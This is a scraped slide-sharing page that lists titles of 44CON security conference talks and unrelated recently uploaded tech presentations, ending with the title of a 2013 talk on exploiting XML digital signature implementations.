Weak analogies make poor realities – are we sitting on a Security Debt Crisis...Weak analogies make poor realities – are we sitting on a Security Debt Crisis...
Weak analogies make poor realities – are we sitting on a Security Debt Crisis...
 
Pwning the 44CON Nerf Tank
Pwning the 44CON Nerf TankPwning the 44CON Nerf Tank
Pwning the 44CON Nerf Tank
 
Security module for php7 – Killing bugclasses and virtual-patching the rest! ...
Security module for php7 – Killing bugclasses and virtual-patching the rest! ...Security module for php7 – Killing bugclasses and virtual-patching the rest! ...
Security module for php7 – Killing bugclasses and virtual-patching the rest! ...
 
44CON London 2015 - Stegosploit - Drive-by Browser Exploits using only Images
44CON London 2015 - Stegosploit - Drive-by Browser Exploits using only Images44CON London 2015 - Stegosploit - Drive-by Browser Exploits using only Images
44CON London 2015 - Stegosploit - Drive-by Browser Exploits using only Images
 
44CON London 2015 - Is there an EFI monster inside your apple?
44CON London 2015 - Is there an EFI monster inside your apple?44CON London 2015 - Is there an EFI monster inside your apple?
44CON London 2015 - Is there an EFI monster inside your apple?
 
44CON London 2015 - Indicators of Compromise: From malware analysis to eradic...
44CON London 2015 - Indicators of Compromise: From malware analysis to eradic...44CON London 2015 - Indicators of Compromise: From malware analysis to eradic...
44CON London 2015 - Indicators of Compromise: From malware analysis to eradic...
 
44CON London 2015 - How to drive a malware analyst crazy
44CON London 2015 - How to drive a malware analyst crazy44CON London 2015 - How to drive a malware analyst crazy
44CON London 2015 - How to drive a malware analyst crazy
 
44CON London 2015 - 15-Minute Linux Incident Response Live Analysis
44CON London 2015 - 15-Minute Linux Incident Response Live Analysis44CON London 2015 - 15-Minute Linux Incident Response Live Analysis
44CON London 2015 - 15-Minute Linux Incident Response Live Analysis
 
44CON London 2015 - Going AUTH the Rails on a Crazy Train
44CON London 2015 - Going AUTH the Rails on a Crazy Train44CON London 2015 - Going AUTH the Rails on a Crazy Train
44CON London 2015 - Going AUTH the Rails on a Crazy Train
 
44CON London 2015 - Software Defined Networking (SDN) Security
44CON London 2015 - Software Defined Networking (SDN) Security44CON London 2015 - Software Defined Networking (SDN) Security
44CON London 2015 - Software Defined Networking (SDN) Security
 
44CON London 2015 - DDoS mitigation EPIC FAIL collection
44CON London 2015 - DDoS mitigation EPIC FAIL collection44CON London 2015 - DDoS mitigation EPIC FAIL collection
44CON London 2015 - DDoS mitigation EPIC FAIL collection
 
44CON London 2015 - Hunting Asynchronous Vulnerabilities
44CON London 2015 - Hunting Asynchronous Vulnerabilities44CON London 2015 - Hunting Asynchronous Vulnerabilities
44CON London 2015 - Hunting Asynchronous Vulnerabilities
 
44CON London 2015 - Reverse engineering and exploiting font rasterizers: the ...
44CON London 2015 - Reverse engineering and exploiting font rasterizers: the ...44CON London 2015 - Reverse engineering and exploiting font rasterizers: the ...
44CON London 2015 - Reverse engineering and exploiting font rasterizers: the ...
 
44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root
44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root
44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root
 

Recently uploaded

SAP Sapphire 2024 - ASUG301 building better apps with SAP Fiori.pdf
SAP Sapphire 2024 - ASUG301 building better apps with SAP Fiori.pdfSAP Sapphire 2024 - ASUG301 building better apps with SAP Fiori.pdf
SAP Sapphire 2024 - ASUG301 building better apps with SAP Fiori.pdf
Peter Spielvogel
 
Generative AI Deep Dive: Advancing from Proof of Concept to Production
Generative AI Deep Dive: Advancing from Proof of Concept to ProductionGenerative AI Deep Dive: Advancing from Proof of Concept to Production
Generative AI Deep Dive: Advancing from Proof of Concept to Production
Aggregage
 
A tale of scale & speed: How the US Navy is enabling software delivery from l...
A tale of scale & speed: How the US Navy is enabling software delivery from l...A tale of scale & speed: How the US Navy is enabling software delivery from l...
A tale of scale & speed: How the US Navy is enabling software delivery from l...
sonjaschweigert1
 
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdfFIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance
 
Removing Uninteresting Bytes in Software Fuzzing
Removing Uninteresting Bytes in Software FuzzingRemoving Uninteresting Bytes in Software Fuzzing
Removing Uninteresting Bytes in Software Fuzzing
Aftab Hussain
 
UiPath Test Automation using UiPath Test Suite series, part 5
UiPath Test Automation using UiPath Test Suite series, part 5UiPath Test Automation using UiPath Test Suite series, part 5
UiPath Test Automation using UiPath Test Suite series, part 5
DianaGray10
 
Monitoring Java Application Security with JDK Tools and JFR Events
Monitoring Java Application Security with JDK Tools and JFR EventsMonitoring Java Application Security with JDK Tools and JFR Events
Monitoring Java Application Security with JDK Tools and JFR Events
Ana-Maria Mihalceanu
 
Climate Impact of Software Testing at Nordic Testing Days
Climate Impact of Software Testing at Nordic Testing DaysClimate Impact of Software Testing at Nordic Testing Days
Climate Impact of Software Testing at Nordic Testing Days
Kari Kakkonen
 
The Future of Platform Engineering
The Future of Platform EngineeringThe Future of Platform Engineering
The Future of Platform Engineering
Jemma Hussein Allen
 
20240605 QFM017 Machine Intelligence Reading List May 2024
20240605 QFM017 Machine Intelligence Reading List May 202420240605 QFM017 Machine Intelligence Reading List May 2024
20240605 QFM017 Machine Intelligence Reading List May 2024
Matthew Sinclair
 
UiPath Test Automation using UiPath Test Suite series, part 4
UiPath Test Automation using UiPath Test Suite series, part 4UiPath Test Automation using UiPath Test Suite series, part 4
UiPath Test Automation using UiPath Test Suite series, part 4
DianaGray10
 
Pushing the limits of ePRTC: 100ns holdover for 100 days
Pushing the limits of ePRTC: 100ns holdover for 100 daysPushing the limits of ePRTC: 100ns holdover for 100 days
Pushing the limits of ePRTC: 100ns holdover for 100 days
Adtran
 
Elevating Tactical DDD Patterns Through Object Calisthenics
Elevating Tactical DDD Patterns Through Object CalisthenicsElevating Tactical DDD Patterns Through Object Calisthenics
Elevating Tactical DDD Patterns Through Object Calisthenics
Dorra BARTAGUIZ
 
State of ICS and IoT Cyber Threat Landscape Report 2024 preview
State of ICS and IoT Cyber Threat Landscape Report 2024 previewState of ICS and IoT Cyber Threat Landscape Report 2024 preview
State of ICS and IoT Cyber Threat Landscape Report 2024 preview
Prayukth K V
 
FIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance Osaka Seminar: Overview.pdfFIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance
 
LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...
LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...
LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...
DanBrown980551
 
GraphSummit Singapore | Enhancing Changi Airport Group's Passenger Experience...
GraphSummit Singapore | Enhancing Changi Airport Group's Passenger Experience...GraphSummit Singapore | Enhancing Changi Airport Group's Passenger Experience...
GraphSummit Singapore | Enhancing Changi Airport Group's Passenger Experience...
Neo4j
 
Epistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI supportEpistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI support
Alan Dix
 
20240607 QFM018 Elixir Reading List May 2024
20240607 QFM018 Elixir Reading List May 202420240607 QFM018 Elixir Reading List May 2024
20240607 QFM018 Elixir Reading List May 2024
Matthew Sinclair
 
DevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA ConnectDevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA Connect
Kari Kakkonen
 

Recently uploaded (20)

SAP Sapphire 2024 - ASUG301 building better apps with SAP Fiori.pdf
SAP Sapphire 2024 - ASUG301 building better apps with SAP Fiori.pdfSAP Sapphire 2024 - ASUG301 building better apps with SAP Fiori.pdf
SAP Sapphire 2024 - ASUG301 building better apps with SAP Fiori.pdf
 
Generative AI Deep Dive: Advancing from Proof of Concept to Production
Generative AI Deep Dive: Advancing from Proof of Concept to ProductionGenerative AI Deep Dive: Advancing from Proof of Concept to Production
Generative AI Deep Dive: Advancing from Proof of Concept to Production
 
A tale of scale & speed: How the US Navy is enabling software delivery from l...
A tale of scale & speed: How the US Navy is enabling software delivery from l...A tale of scale & speed: How the US Navy is enabling software delivery from l...
A tale of scale & speed: How the US Navy is enabling software delivery from l...
 
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdfFIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
 
Removing Uninteresting Bytes in Software Fuzzing
Removing Uninteresting Bytes in Software FuzzingRemoving Uninteresting Bytes in Software Fuzzing
Removing Uninteresting Bytes in Software Fuzzing
 
UiPath Test Automation using UiPath Test Suite series, part 5
UiPath Test Automation using UiPath Test Suite series, part 5UiPath Test Automation using UiPath Test Suite series, part 5
UiPath Test Automation using UiPath Test Suite series, part 5
 
Monitoring Java Application Security with JDK Tools and JFR Events
Monitoring Java Application Security with JDK Tools and JFR EventsMonitoring Java Application Security with JDK Tools and JFR Events
Monitoring Java Application Security with JDK Tools and JFR Events
 
Climate Impact of Software Testing at Nordic Testing Days
Climate Impact of Software Testing at Nordic Testing DaysClimate Impact of Software Testing at Nordic Testing Days
Climate Impact of Software Testing at Nordic Testing Days
 
The Future of Platform Engineering
The Future of Platform EngineeringThe Future of Platform Engineering
The Future of Platform Engineering
 
20240605 QFM017 Machine Intelligence Reading List May 2024
20240605 QFM017 Machine Intelligence Reading List May 202420240605 QFM017 Machine Intelligence Reading List May 2024
20240605 QFM017 Machine Intelligence Reading List May 2024
 
UiPath Test Automation using UiPath Test Suite series, part 4
UiPath Test Automation using UiPath Test Suite series, part 4UiPath Test Automation using UiPath Test Suite series, part 4
UiPath Test Automation using UiPath Test Suite series, part 4
 
Pushing the limits of ePRTC: 100ns holdover for 100 days
Pushing the limits of ePRTC: 100ns holdover for 100 daysPushing the limits of ePRTC: 100ns holdover for 100 days
Pushing the limits of ePRTC: 100ns holdover for 100 days
 
Elevating Tactical DDD Patterns Through Object Calisthenics
Elevating Tactical DDD Patterns Through Object CalisthenicsElevating Tactical DDD Patterns Through Object Calisthenics
Elevating Tactical DDD Patterns Through Object Calisthenics
 
State of ICS and IoT Cyber Threat Landscape Report 2024 preview
State of ICS and IoT Cyber Threat Landscape Report 2024 previewState of ICS and IoT Cyber Threat Landscape Report 2024 preview
State of ICS and IoT Cyber Threat Landscape Report 2024 preview
 
FIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance Osaka Seminar: Overview.pdfFIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance Osaka Seminar: Overview.pdf
 
LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...
LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...
LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...
 
GraphSummit Singapore | Enhancing Changi Airport Group's Passenger Experience...
GraphSummit Singapore | Enhancing Changi Airport Group's Passenger Experience...GraphSummit Singapore | Enhancing Changi Airport Group's Passenger Experience...
GraphSummit Singapore | Enhancing Changi Airport Group's Passenger Experience...
 
Epistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI supportEpistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI support
 
20240607 QFM018 Elixir Reading List May 2024
20240607 QFM018 Elixir Reading List May 202420240607 QFM018 Elixir Reading List May 2024
20240607 QFM018 Elixir Reading List May 2024
 
DevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA ConnectDevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA Connect
 

44CON 2013 - The Forger's Art: Exploiting XML Digital Signature Implementations - James Forshaw